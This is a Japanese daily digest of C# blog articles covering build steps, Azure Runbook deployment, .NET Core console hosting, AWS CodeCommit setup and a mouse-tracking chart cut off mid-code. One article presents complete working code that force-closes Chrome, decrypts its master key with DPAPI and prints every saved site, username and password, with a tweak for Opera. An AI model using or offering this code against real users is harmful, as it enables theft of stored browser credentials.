20200524のC#に関する記事は11件です。

C# 勉強(2) VS code アプリビルド

1.プロジェクトファイル .csproj を開き、RuntimeIdentifiers に、対象ターゲットを指定する。


Exe
netcoreapp1.1
win10-x64

2.ビルド 

dotnet restore
dotnet build
dotnet publish -c Release -r win10-x64

PS C:\Users\yamada\Documents\開発\book\Chapter02\Sec0212> dotnet publish -c Release -r win10-x64
.NET Core 向け Microsoft (R) Build Engine バージョン 16.5.0+d4cbfca49
Copyright (C) Microsoft Corporation.All rights reserved.

C:\Users\yamada\Documents\開発\book\Chapter02\Sec0212\Sec0212.csproj の復元が 13.71 sec で完了しました。
Sec0212 -> C:\Users\yamada\Documents\開発\book\Chapter02\Sec0212\bin\Release\netcoreapp3.1\win10-x64\Sec0212.dll
Sec0212 -> C:\Users\yamada\Documents\開発\book\Chapter02\Sec0212\bin\Release\netcoreapp3.1\win10-x64\publish\
PS C:\Users\yamada\Documents\開発\book\Chapter02\Sec0212>

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

C# 勉強(2) VS code コンソールアプリビルド

1.プロジェクトファイル .csproj を開き、RuntimeIdentifiers に、対象ターゲットを指定する。

<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>netcoreapp1.1</TargetFramework>
<RuntimeIdentifiers>win10-x64</RuntimeIdentifiers>
</PropertyGroup>

2.ビルド 

dotnet restore
dotnet build
dotnet publish -c Release -r win10-x64

3.実行
ビルド後に「exe」ファイルができているのでcmdから実行。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

単純にフォルダ開く

単純にフォルダを開く

using System;

namespace m2alpha_XXX
{
    public class OpenFolder
    {
        static void Main(string[] args)
        {
            System.Diagnostics.Process.Start(@"C:test");
        }
    }
}

日付の組み合わせてフォルダを開く

using System;

namespace m2alpha_xxx
{
    public class TEST
    {
        static void Main(string[] args)
        {

            string OpenPath = System.IO.Path.Combine (@"C:\test",DateTime.Now.ToString("yyyy"),DateTime.Now.ToString("MM"),DateTime.Now.ToString("dd"));

            System.Diagnostics.Process.Start(OpenPath);

        }
    }
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

C# 勉強(1) class

クラス;

public class Product {
    //プロパティ(set は非公開)
    public int Code {get;private set;}
    public string Name{get;private set;}
    public int Price{get;private set;}

    //コンストラクタ(特殊メソッド)
    public Product(int code,string name,int price){
        this.Code=code;
        this.Name=name;
        this.Price=price;
    }
    //メソッド
    public int GetTax(){
        return (int)(Price * 0.08);
    }
    public int GetPriceIncludingTax(){
        return Price + GetTax();
    }
}

プログラム;

class Program
{
    static void Main(string[] args)
    {
        Product choco = new Product(123,"チョコチップ",110);
        Product boltgum = new Product(234,"ボトルガム",500);

        int chocoTax = choco.GetTax();
        int boltgumTax = boltgum.GetTax();

        Console.WriteLine("{0},{1},{2}",choco.Name,choco.Price,chocoTax);
        Console.WriteLine("{0},{1},{2}",boltgum.Name,boltgum.Price,boltgumTax);

    }
}
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Azureの.NET SDKでBlobStorageに保存したテンプレートを使ったリソースのデプロイ

タイトルに説明を詰め込みすぎた感が半端ないけど、以下の流れでリソースをデプロイする。

  1. BlobStorageにテンプレートファイルを保存
  2. テンプレートファイルをBlobStorageから読み込んでリソースをデプロイするAutomationのRunbookを作成
  3. .NET SDKを使ってRunbookを起動し、リソースをデプロイ

1. BlobStorageにテンプレートファイルを保存

以下の手順でテンプレートファイルを保存する。
(1) この記事にある手順で、コンテナーを作成。
(2) テンプレートファイルをアップロードする。

2. Runbookの作成

以下の手順でRunbookを作成。
(1) Azureのサービスで「Automationアカウント」を作成。
このとき、「Azure実行アカウントを作成」を「はい」にしておく。
※ これにより、Runbook実行時に「共同作成者」のロールが付与されるようになる。
(2) 以下のRunbookを作成。

クリックするとソースが表示されます
# Authenticate to Azure if running from Azure Automation
$ServicePrincipalConnection = Get-AutomationConnection -Name "AzureRunAsConnection"
Connect-AzAccount `
    -ServicePrincipal `
    -Tenant $ServicePrincipalConnection.TenantId `
    -ApplicationId $ServicePrincipalConnection.ApplicationId `
    -CertificateThumbprint $ServicePrincipalConnection.CertificateThumbprint | Write-Verbose

$StorageAccountKey = "<Input your key>"
$ResourceGroupName = "<Input target resource group>"
$Filename = "<Input your file name>"
$StorageAccountName = "<Input your storage account name>"
$ContaineName = "<Input your Container name>"

# Create a new context
$Context = New-AzStorageContext -StorageAccountName $StorageAccountName -StorageAccountKey $StorageAccountKey

# Create directory
New-Item "C:\Temp" -ItemType Directory

$blob = Get-AzStorageBlobContent -Container $ContaineName -Blob $Filename -Destination "C:\Temp\" -Context $Context

#$blob
$TemplateFile = Join-Path -Path 'C:\Temp' -ChildPath $Filename

# Deploy the resources
New-AzResourceGroupDeployment -ResourceGroupName $ResourceGroupName -TemplateFile $TemplateFile

3. .NET SDKでRunbookを呼び出すコードを書く

AutomationのSDKを使う。

クリックするとソースが表示されます
using Microsoft.Azure;
using Microsoft.Azure.Management.Automation;
using Microsoft.Azure.Management.Automation.Models;
//・・・・・(中略)・・・・・
    class AzureAutomation
    {
        // Azure Automationのクライアントを生成する
        public AutomationManagementClient GenerateClient()
        {
            var subscriptionId = AppSetting.AZURE_SUBSCRIPTION_ID;

            var auth = new AzureAuthentication();
            var token = auth.GetToken();

            var automationClient =
                new AutomationManagementClient(new TokenCloudCredentials(subscriptionId, token));

            return automationClient;
        }

        // Runbookのジョブを作成する。
        // 戻り値はステータスコード。201(Create)が成功。それ以外はエラー。
        public HttpStatusCode CreateJob()
        {
            Console.WriteLine("CreateJob start.");

            var client = GenerateClient();

            JobCreateParameters jcParam = new JobCreateParameters
            {
                Properties = new JobCreateProperties
                {
                    Runbook = new RunbookAssociationProperty
                    {
                        Name = AppSetting.AUTOMATION_JOB_NAME   // Job name
                    },
                    // Parameters is Key and Value
                    Parameters = null // optional parameters here
                }
            };

            // create runbook job. This gives back the Job
            Console.WriteLine("Create runbook job.");
            var statusCode = client.Jobs.Create(AppSetting.TARGET_RESOURCE_GROUP,
                AppSetting.AUTOMATION_ACCOUNT_NAME, jcParam).StatusCode;

            Console.WriteLine("CreateJob end.");

            return statusCode;
        }
    }

あとはこいつをMainから呼び出せばテンプレート通りのリソースが作成できた。
ちなみにテンプレートファイルは「Newtonsoft.Json」様のおかげでそれっぽくできました。
マネージドIDをつかったクライアントの作成の方法はまた別の記事にしようかな。。。
(大した分量にならないけど)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Chromeに保存されているパスワードを解読してみる

はじめに

Google Chromeでサイトにログインするとき、多くの人がアカウント情報をChromeに保存していると思います。
しかし、Chromeはこのログインデータをどのように保存しているのだろうか、と気になったので、調べてみました。

Chromeのログインデータの保存手順

調べてみたところ、ログインデータは
ユーザーフォルダ\AppData\Local\Google\Chrome\User Data\Default\Login Data
にSQLiteデータベース形式で保存されていることがわかりました。

また、パスワードは以下の方法で暗号化されていることがわかりました。

  1. 32バイトのランダムデータ(マスターキー)を生成する
  2. Windows DPAPIを使ってそれを暗号化する
  3. この暗号化されたキーの最初に文字列「DPAPI」を挿入する
  4. Base64でエンコードし、ユーザーフォルダ\AppData\Local\Google\Chrome\User Data\Local Stateに保存する
  5. 12バイトの初期化ベクトルを生成する
  6. 上記のマスターキーと初期化ベクトルを使って、パスワードをAES-256-GCMで暗号化する
  7. 暗号化されたパスワードの最初に文字列「v10」、初期化ベクトルを挿入する

Windows DPAPIというのは、Windows アカウント パスワードを使って暗号化するAPIです。
初期化ベクトルというのはランダムに生成されるビット列であり、これを利用して暗号化することでデータを解読しにくくすることができます。

ログインデータを読み込んでみる

よって、ログインデータを読み込む手順は以下のようになります。

  1. Local Stateファイルから暗号化されたマスターキーを読み込む
  2. マスターキーをBase64デコードし、「DPAPI」を削除する
  3. Windows DPAPIを使ってそれを復号化する
  4. Login DataファイルをSQLiteデータベースとして読み込み、URL、ユーザー名、暗号化されたパスワードを読み込む
  5. 暗号化されたパスワードから「v10」を削除し、初期化ベクトルとパスワードデータに分ける
  6. それらを使って、パスワードをAES-256-GCMで復号化する

それでは、C#で実装してみます。

マスターキーを取得する

パスワードを復号化するにはマスターキーが必要なので、Local Stateファイルから読み込んで復号化します。
このファイル自体はJsonで記録されており、os_cryptのencrypted_keyの値が暗号化されたマスターキーになります。
このコードではJsonファイルを読み込むためにNewtonsoft.Jsonを使っています。

public static byte[] GetKey() {
    // AppDataのパスを取得
    var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
    // Local Stateのパスを取得
    var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

    // Local StateをJsonとして読み込む
    string v = File.ReadAllText(path);
    dynamic json = JsonConvert.DeserializeObject(v);
    string key = json.os_crypt.encrypted_key;

    // Base64エンコード
    byte[] src = Convert.FromBase64String(key);
    // 文字列「DPAPI」をスキップ
    byte[] encryptedKey = src.Skip(5).ToArray();

    // DPAPIで復号化
    byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);

    return decryptedKey;
}

Login Dataの読み込み

次に、Login Dataファイルを読み込みます。
SQLiteデータベース形式で保存されているので、今回はこれを読み込むためにSystem.Data.SQLite.Coreを使いました。

// AppDataのパスを取得
var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
// Login Dataのパスを取得
var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");

if (File.Exists(p)) {
    Process[] chromeInstances = Process.GetProcessesByName("chrome");
    foreach (Process proc in chromeInstances)
        // Chromeを強制終了
        // これをやらないと「database is locked」エラーになる
        proc.Kill();

    // Login Dataファイルを読み込む
    using (var conn = new SQLiteConnection($"Data Source={p};")) {
        conn.Open();
        using (var cmd = conn.CreateCommand()) {
            cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
            using (var reader = cmd.ExecuteReader()) {
                if (reader.HasRows) {
                    // マスターキーを取得
                    byte[] key = GetKey();

                    while (reader.Read()) {
                        // 空のデータは無視
                        if (reader[0].ToString() == "") continue;
                        // 暗号化されたパスワードをbyte配列で読み込む
                        byte[] encryptedData = GetBytes(reader, 2);
                        // 初期化ベクトルとパスワードデータに分離
                        byte[] nonce, ciphertextTag;
                        Prepare(encryptedData, out nonce, out ciphertextTag);
                        // パスワードの復号化
                        string password = Decrypt(ciphertextTag, key, nonce);

                        var url = reader.GetString(0);
                        var username = reader.GetString(1);

                        Console.WriteLine("Url : " + url);
                        Console.WriteLine("Username : " + username);
                        Console.WriteLine("Password : " + password + "\n");
                    }
                }
            }
        }
    conn.Close();
    Console.ReadKey(true);
    }
} else {
    throw new FileNotFoundException("Login Dataファイルが見つかりません");
}

SQLiteからbyte配列で読み込むメソッドがなぜか用意されてないので、自分で作ります。

private static byte[] GetBytes(SQLiteDataReader reader, int columnIndex) {
    const int CHUNK_SIZE = 2 * 1024;
    byte[] buffer = new byte[CHUNK_SIZE];
    long bytesRead;
    long fieldOffset = 0;
    using (MemoryStream stream = new MemoryStream()) {
        while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0) {
            stream.Write(buffer, 0, (int)bytesRead);
            fieldOffset += bytesRead;
        }
        return stream.ToArray();
    }
}

読み込んだ暗号化データを初期化ベクトルとパスワードデータに分離するPrepareメソッドを定義しておきます。

// 暗号化データを初期化ベクトルとパスワードデータに分離
public static void Prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag) {
    nonce = new byte[12];
    ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];

    System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
    System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
}

復号化

次に、復号化処理を見ていきます。
.NET FrameworkにはAES-256-GCMの復号化を行うクラスはないので、今回は暗号化・復号化用パッケージ「Bouncy Castle」を導入しました。

以下が復号化のコードです。
正直、このコードは海外のサイトからコピーしたものなので、自分でもよく理解していません。

// AES-256-GCM 復号化処理
// 暗号化されたパスワード、マスターキー、初期化ベクトルを指定
public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) {
    string sR = "";
    try {
        GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
        AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);

        cipher.Init(false, parameters);
        byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
        Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
        cipher.DoFinal(plainBytes, retLen);

        sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
    }
    catch (Exception ex) {
        Console.WriteLine(ex.Message);
        Console.WriteLine(ex.StackTrace);
    }

    return sR;
}

ログインデータを読み込むプログラム

ログインデータを読み込んで出力するプログラムは以下のようになります。

using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.Data.SQLite;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

public class GetLoginData
{
    public static void Main()
    {
        // AppDataのパスを取得
        var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        // Login Dataのパスを取得
        var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");

        if (File.Exists(p))
        {
            Process[] chromeInstances = Process.GetProcessesByName("chrome");
            foreach (Process proc in chromeInstances)
                // Chromeを強制終了
                // これをやらないと「database is locked」エラーになる
                proc.Kill();

            // Login Dataファイルを読み込む
            using (var conn = new SQLiteConnection($"Data Source={p};"))
            {
                conn.Open();
                using (var cmd = conn.CreateCommand())
                {
                    cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
                    using (var reader = cmd.ExecuteReader())
                    {

                        if (reader.HasRows)
                        {
                            // マスターキーを取得
                            byte[] key = GetKey();

                            while (reader.Read())
                            {
                                // 空のデータは無視
                                if (reader[0].ToString() == "") continue;
                                // 暗号化されたパスワードをbyte配列で読み込む
                                byte[] encryptedData = GetBytes(reader, 2);
                                // 初期化ベクトルとパスワードデータに分離
                                byte[] nonce, ciphertextTag;
                                Prepare(encryptedData, out nonce, out ciphertextTag);
                                // パスワードの復号化
                                string password = Decrypt(ciphertextTag, key, nonce);

                                var url = reader.GetString(0);
                                var username = reader.GetString(1);

                                Console.WriteLine("Url : " + url);
                                Console.WriteLine("Username : " + username);
                                Console.WriteLine("Password : " + password + "\n");
                            }
                        }
                    }
                }
                conn.Close();
                Console.ReadKey(true);
            }

        }
        else
        {
            throw new FileNotFoundException("Login Dataファイルが見つかりません");
        }
    }

    public static byte[] GetKey()
    {
        // AppDataのパスを取得
        var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
        // Local Stateのパスを取得
        var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

        // Local StateをJsonとして読み込む
        string v = File.ReadAllText(path);
        dynamic json = JsonConvert.DeserializeObject(v);
        string key = json.os_crypt.encrypted_key;

        // Base64エンコード
        byte[] src = Convert.FromBase64String(key);
        // 文字列「DPAPI」をスキップ
        byte[] encryptedKey = src.Skip(5).ToArray();

        // DPAPIで復号化
        byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);

        return decryptedKey;
    }

    // AES-256-GCM 復号化処理
    public static string Decrypt(byte[] encryptedBytes, byte[] key, byte[] iv)
    {
        string sR = "";
        try
        {
            GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
            AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);

            cipher.Init(false, parameters);
            byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
            Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
            cipher.DoFinal(plainBytes, retLen);

            sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
            Console.WriteLine(ex.StackTrace);
        }

        return sR;
    }

    // 暗号化データを初期化ベクトルとパスワードデータに分離
    public static void Prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag)
    {
        nonce = new byte[12];
        ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length];

        System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length);
        System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length);
    }

    // SQLiteデータをbyte配列で読み込む
    private static byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
    {
        const int CHUNK_SIZE = 2 * 1024;
        byte[] buffer = new byte[CHUNK_SIZE];
        long bytesRead;
        long fieldOffset = 0;
        using (MemoryStream stream = new MemoryStream())
        {
            while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
            {
                stream.Write(buffer, 0, (int)bytesRead);
                fieldOffset += bytesRead;
            }
            return stream.ToArray();
        }
    }
}

このプログラムを実行すると、以下のようにログインデータが出力されます。

Url : https://accounts.google.com/signin/v2/challenge/password/empty
Username : qwerty123456@gmail.com
Password : zettaibarenaipassword

Url : https://id.unity.com/ja/conversations/0a0a3de1-8dd7-4c4b-81fe-49e7460614f2301f
Username : admin314159@gmail.com
Password : UnityPassword

Operaのログインデータについて

Opera BrowserはGoogle Chromeと同じChromiumをベースにしているので、同じ方法でログインデータを取得することができます。

上記のコードの20行目

var p = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data");

var p = Path.GetFullPath(appdata + "\\..\\Roaming\\Opera Software\\Opera Stable\\Login Data");

に書き換え、
83行目の

var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

var path = Path.GetFullPath(appdata + "\\..\\Roaming\\Opera Software\\Opera Stable\\Local State");

に書き換えて実行してみると、同じようにOperaのログインデータが出力されるはずです。

まとめ

ということで、割と簡単にChromeに保存されているログインデータを取得できてしまいました。
パスワードを忘れてしまった際に便利だと思いますが、これだと危険なので、パスワードなどの重要なデータの保存にはより工夫が必要だと思いました。

参考文献

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

What type of Visual studio should we use?

Hello, everyone.
this article is for a beginner. Additionally, I am studying English now.
Please understand these points.

There are three types of Visual Studio.

At first, If you interested in C#, what should you do as a first step?
You should install visual studio to use C#.
There are three types of Visual Studio.

  1. Visual Studio Code
  2. Visual Studio For Windows
  3. Visual Studio For Mac

Next, let's see each detail.

1. Visual Studio Code

This is just an editor tool. So, If you develop .Net application using Visual Studio Code, you have to set up many functions to build a solution.
on the other hand, this is easy to read cord or re-write code in a part of the Solution.

Who is it suitable for?

So I can say Visual studio code is suitable for a tester, cord reviewer. They don't need to set up a whole of the solution but they read and write code part of the solution.

2. Visual Studio (For Windows)

Visual Studio (For windows) has the longest history in these three tools.
According to Wikipedia, the first version of Visual Studio was released in 1997.

Visual Studio Code is an editor tool, on the other hand, Visual Studio is IDE (Integrated Development Environment) tool.
So we can create a solution easy without a complex set up.
There are many types of templates included. So we can choose depending on the type of solution that you want to create.
And also you can select many types of debug mode. (the type of browsers like Chrome or Safari, the type of OS like iOS or Windows 8 or10)

Who is it suitable for?

I recommend Visual Studio for a developer who creates web and mobile app using C#.
However, there is an important notice to the developer using Visual Studio.

Visual Studio has three editions.

  1. Visual Studio community edition

This is a free edition.
According to the following Usage, ths version can use
・ Any individual developer can use Visual Studio Community to create their own free or paid apps.
・ In non-enterprise organizations, up to five users can use Visual Studio Community.

https://visualstudio.microsoft.com/vs/community/

  1. Visual Studio Professional
  2. Visual Studio Enterprise This is a paid edition. Enterprise edition is suitable for bigger development.

Please check the difference of included functions in the following URL.
https://visualstudio.microsoft.com/en/vs/compare/

3. Visual Studio For Mac

This tool is for a developer using MAC.
However, this is different from "Visual Studio for windows" on many points.For example, We can not create windows applications using "Visual Studio code for MAC" ( as of 2019 edition).And also we can not create iOS native application using Objective-C in Visual Studio for MAC.When you use Visual Studio for MAC, you are able to develop only C# or Xamarin applications.
When you choose the development tool, you have to notice this point.

Who is it suitable for?

This tool is for a developer using MAC and they want to create C# or Xamarin applications.

Finally

the above of all are introduced about three types of visual studio.
If you interested in this development tool, let's install it on your laptop.
Take care of regulation of usage :)

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

.NET Core 3.1 で Console Application をつくる

.NET Core 3.1 でバッチを作成する機会があり、Console Application 作成について調べたことのまとめ。

やりたいこと

  • .NET Core 3.1 Console Application で DI したい
  • 設定ファイルの値をいい感じに使いたい
  • NLog の設定をしたい

環境

  • Windows 10 Pro
  • Visual Studio 2019
  • .NET Core 3.1

汎用ホストとは

ASP.NET Core では Web ホストを生成するが、Console Application では、汎用ホストを利用する。
汎用ホストを利用することで、DI や設定ファイルの取得などが簡単に実現できる。
https://docs.microsoft.com/ja-jp/aspnet/core/fundamentals/host/generic-host?view=aspnetcore-3.1

実装

パッケージのインストール

汎用ホストを利用するために必要なパッケージをインストールする。

  • Microsoft.Extensions.Hosting

NLog を利用したい場合は、以下パッケージも追加。

  • NLog.Extensions.Logging

Program.cs の実装

Program.cs
public static void Main(string[] args) => CreateHostBuilder(args).Build().Run();

public static IHostBuilder CreateHostBuilder(string[] args) =>
    Host.CreateDefaultBuilder(args)
        .ConfigureAppConfiguration((hostContext, config) =>
        {
            // 引数を取得したい場合
            config.AddCommandLine(args);
        })
        .ConfigureLogging((hostContext, logging) =>
        {
            logging.ClearProviders();
            // appsettings.json から NLog の設定情報を取得する
            logging.AddNLog(new NLogLoggingConfiguration(hostContext.Configuration.GetSection("NLog")));
        })
        .ConfigureServices((hostContext, services) =>
        {
            // 必要なサービスのDIを記載する
        });

Host.CreateDefaultBuilder の規定の動作に何も追加する必要がなければ、ConfigureAppConfiguration、ConfigureLogging、ConfigureServicesは不要。
(ただし、DI したい場合がほとんどだと思うので、ConfigureServices は必要になってくる)

プロジェクトに appsettings.json を追加すれば、既定の動きとして値を取得してくれる。
また、appsettings.json 内に NLog の設定値を記載できる。(NLog.config の追加が不要)

appsettings.json
{
  // NLog設定
  "NLog": {
    "throwConfigExceptions": true,
    "targets": {
      "logfile": {
        "type": "File",
        "fileName": "C:\\Log\\${shortdate}.log"
      },
      "logconsole": {
        "type": "Console"
      }
    },
    "rules": [
      {
        "logger": "*",
        "minLevel": "Info",
        "writeTo": "logconsole"
      },
      {
        "logger": "*",
        "minLevel": "Debug",
        "writeTo": "logfile"
      }
    ]
  },
  // 必要なアプリケーション設定値があれば以下に追記する
}

appsettings.json の取り扱い

Host.CreateDefaultBuilder で appsettings.json の読み込みを行ってくれる。
読み込んだ値をクラスに展開(オプションパターン)しておくと、いろいろなところで使えて便利。
appsettings.json の形に合わせたクラスを定義する。

appsettings.json
{
  "Group": {
    "Item1": "ItemValue",
    "Item2": 1
  }
}
AppSettings.cs
public class AppSettings
{
    public Group Group { get; set; }
}
public class Group
{
    public string Item1 { get; set; }
    public int Item2 { get; set; }
}

実行時に appsettings.json が必要なため、ファイルのプロパティを以下に変更しておく。

  • ビルドアクション ⇒ コンテンツ
  • 出力ディレクトリにコピー ⇒ 新しい場合はコピーする or 常にコピーする

IHostedService の実装

https://docs.microsoft.com/ja-jp/aspnet/core/fundamentals/host/generic-host?view=aspnetcore-3.1#ihostapplicationlifetime
上記を参考に、IHostedService を実装する。
logger と options を使えるようにしたサンプル。

LifetimeEventsHostedService.cs
public class LifetimeEventsHostedService : IHostedService
{
    private readonly IHostApplicationLifetime appLifetime;
    private readonly ILogger<LifetimeEventsHostedService> logger;
    private readonly IOptions<AppSettings> options;

    public LifetimeEventsHostedService(
        IHostApplicationLifetime appLifetime
        , ILogger<LifetimeEventsHostedService> logger
        , IOptions<AppSettings> options)

    {
        this.appLifetime = appLifetime;
        this.logger = logger;
        this.options = options;
    }

    public Task StartAsync(CancellationToken cancellationToken)
    {
        appLifetime.ApplicationStarted.Register(OnStarted);
        appLifetime.ApplicationStopping.Register(OnStopping);
        appLifetime.ApplicationStopped.Register(OnStopped);

        logger.LogInformation("StartAsync");
        return Task.CompletedTask;
    }

    public Task StopAsync(CancellationToken cancellationToken)
    {
        logger.LogInformation("StopAsync");
        return Task.CompletedTask;
    }

    private void OnStarted()
    {
        logger.LogInformation("OnStarted");
        logger.LogInformation($"{options.Value.Group.Item1}{options.Value.Group.Item2}");
    }

    private void OnStopping()
    {
        logger.LogInformation("OnStopping");
    }

    private void OnStopped()
    {
        logger.LogInformation("OnStopped");
    }
}

上記を実装後、Program.cs の ConfigureServices を修正すれば、logger と options の使用が可能。

Program.cs
.ConfigureServices((hostContext, services) =>
{
    services.AddHostedService<LifetimeEventsHostedService>();
    services.Configure<AppSettings>(hostContext.Configuration);
})

参考URL

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Visual StudioからAWS CodeCommitを使う

Visual Studio Community 2017からAWS CodeCommitを使えそうだったので、調べて、その結果を、まとめる。

1. はじめに

1.1AWS CodeCommitについて

料金

5ユーザーまで無料でOK。
https://aws.amazon.com/jp/codecommit/pricing/

 2.準備

2.1 AWSでの作業

以下のページに従って操作する。
https://docs.aws.amazon.com/ja_jp/codecommit/latest/userguide/setting-up-ide-vs.html

何か問題が出たら、問題と解決したやり方について記載することとする。

ステップ1でIAMユーザの準備で「Security credentials」タブが見つからない

「ステップ 1: IAM ユーザーのアクセスキーとシークレットキーを取得する」に従って、「IAM ユーザーのアクセスキーを作成するには」の操作を実施。
「Security credentials」は「認証情報」だが、わからなければ、画面左下の言語を日本語から英語表記に変更するとわかりやすい。

2.2 Visual Studioでの作業

チームエクスプローラに表示されない

[拡張機能]-[拡張機能の管理]から「Visual Studio Marketplace」で"AWS"をキーワードに検索し、「AWS Toolkit for Visual Studio 2017 and 2019」をダウンロードし、導入する。ダウンロード後、Visual Studioを終了するとインストーラが動き出す。

チームエクスプローラでAWS CodeCommitに接続できない

エラーが出て、一度消したら元に戻らなくなった・・・
別環境にVisual Studio 2019を入れてもう一度試す・・・

接続時の「New Account Profile」にある「Account Number」について

12桁の番号。以下を参考に
https://docs.aws.amazon.com/ja_jp/IAM/latest/UserGuide/console_account-alias.html

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

てst

てst

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

C# マウスの動きをグラフで可視化する

public partial class Form1 : Form
{

    //時間経過をはかるためのクラス
    Stopwatch myStopWatch = new Stopwatch();
    //スタート・ストップボタン用
    Boolean sw = false;

    //マウス位置
    int ms_x = 0;
    int ms_y = 0;

    string str_ms_x = "ms_x";
    string str_ms_y = "ms_y";


    public Form1()
    {
        InitializeComponent();
    }

    private void chart1_Click(object sender, EventArgs e)
    {

    }

    private void Form1_Load(object sender, EventArgs e)
    {
        //=======================================================
        // グラフの用意
        //=======================================================

        // フォームをロードするときの処理
        chart1.Series.Clear();         // Seriesを初期化
        chart1.ChartAreas.Clear();

        // ChartにChartAreaを追加
        chart1.ChartAreas.Add(new ChartArea("ChartArea"));

        // ChartにSeriesを追加(2要素)
        chart1.Series.Add(str_ms_x);
        chart1.Series.Add(str_ms_y);
        // グラフの種別を指定(折れ線)
        chart1.Series[str_ms_x].ChartType = SeriesChartType.Line;
        chart1.Series[str_ms_y].ChartType = SeriesChartType.Line;

        //グラフの表示範囲をX = 300 / Y = 600に限定する
        chart1.ChartAreas[0].AxisX.IsMarginVisible = false;
        chart1.ChartAreas[0].AxisX.ScaleView.Size = 100;
        chart1.ChartAreas[0].AxisY.IsMarginVisible = false;
        chart1.ChartAreas[0].AxisY.ScaleView.Size = 600;

    }

    private void btnStart_Click(object sender, EventArgs e)
    {
        //スイッチがoff(計測開始していない)とき
        if (sw == false)
        {
            //計測開始
            myStopWatch.Start();
            //表示更新タイマー開始
            timer1.Start();
            //スイッチon
            sw = true;
            //リセットボタン使用不可
            btnReset.Enabled = false;
            //「スタート」だったボタンの表示を「ストップ」に変更
            btnStart.Text = "Stop";
        }

        //スイッチがoff以外のとき(つまりはonのとき)
        else
        {
            //計測終了
            myStopWatch.Stop();
            //表示固定
            timer1.Stop();
            //スイッチoff
            sw = false;
            //リセットボタン使用可
            btnReset.Enabled = true;
            //「ストップ」だったボタンの表示を「スタート」に変更
            btnStart.Text = "Start";
        }
    }

    private void btnReset_Click(object sender, EventArgs e)
    {
        //ストップウォッチの内容をゼロにする
        myStopWatch.Reset();
        //リセットした状態をlabel1に表示する
        label1.Text = myStopWatch.Elapsed.ToString();

        //グラフをリセット ???

    }

    private void timer1_Tick(object sender, EventArgs e)
    {
        //label1にスタートから現在までの時間を表示させる
        label1.Text = myStopWatch.Elapsed.ToString();

        //label2にマウスの位置を表示する
        label2.Text = "X=" + ms_x + "/ Y=" + ms_y;

        // データが100まで蓄積する
        if (chart1.Series[str_ms_x].Points.Count <= 100)
        {
            chart1.Series[str_ms_x].Points.AddY(ms_x);
            chart1.Series[str_ms_y].Points.AddY(ms_y);
        }
        else
        {
            //データをシフト
            for (int i = 0; i < 99; i++)
            {
                chart1.Series[str_ms_x].Points[i].YValues = chart1.Series[str_ms_x].Points[i + 1].YValues;
                chart1.Series[str_ms_y].Points[i].YValues = chart1.Series[str_ms_y].Points[i + 1].YValues;
            }
            //最新データをセット
            chart1.Series[str_ms_x].Points.RemoveAt(99); // ??? グラフの最新データが更新されてる?
            chart1.Series[str_ms_y].Points.RemoveAt(99); // 
            //chart1.Series[str_ms_x].Points.AddXY(99,ms_x);
